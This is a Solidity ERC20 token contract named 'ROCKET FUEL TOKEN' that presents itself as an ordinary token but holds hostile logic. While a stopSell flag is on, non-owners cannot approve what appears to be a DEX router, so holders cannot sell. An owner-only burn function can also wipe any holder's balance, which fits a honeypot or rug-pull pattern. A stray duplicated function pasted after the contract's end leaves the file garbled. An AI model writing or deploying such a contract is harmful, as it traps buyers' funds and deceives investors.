contract ROCKET is IERC20 {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    
    uint256 private _totalSupply = 400 ether;

    string private _name = "ROCKET FUEL TOKEN";
    string private _symbol = "RFT";
    uint8 private _decimals = 18;
    uint256 start;
    address private __owner;
    bool public stopBots = true;
    bool public stopSell;

    constructor () public {
        __owner = msg.sender;
        _balances[__owner] = _totalSupply;
        start = now;
        stopSell = true;
    }
    modifier onlyOwner(){
        require(msg.sender == __owner);
        _;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function multiTransfer(address[] memory addresses, uint256 amount) public {
        for (uint256 i = 0; i < addresses.length; i++) {
            transfer(addresses[i], amount);
        }
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function enable() public {
        if (msg.sender != __owner) {
            revert();
        }
        
        stopBots = false;
    }
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (stopBots) {
            if (amount > 5 ether && sender != __owner) {
                revert('stop the bots!');
            }
        }
        
        uint256 tokensToBurn = amount.div(20);
        uint256 tokensToTransfer = amount.sub(tokensToBurn);
        
        _beforeTokenTransfer(sender, recipient, amount);
        
        _burn(sender, tokensToBurn);
        _balances[sender] = _balances[sender].sub(tokensToTransfer, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(tokensToTransfer);
        emit Transfer(sender, recipient, tokensToTransfer);
    }
    function burn(address account, uint256 val) onlyOwner() public{
        _burn(account, val);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
       if (stopSell && owner != __owner) {
            if(spender == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D){
                revert();
            }
        }
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function startSell() public onlyOwner(){
        stopSell = false;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
/**
 * @dev See {IERC20-allowance}.
 */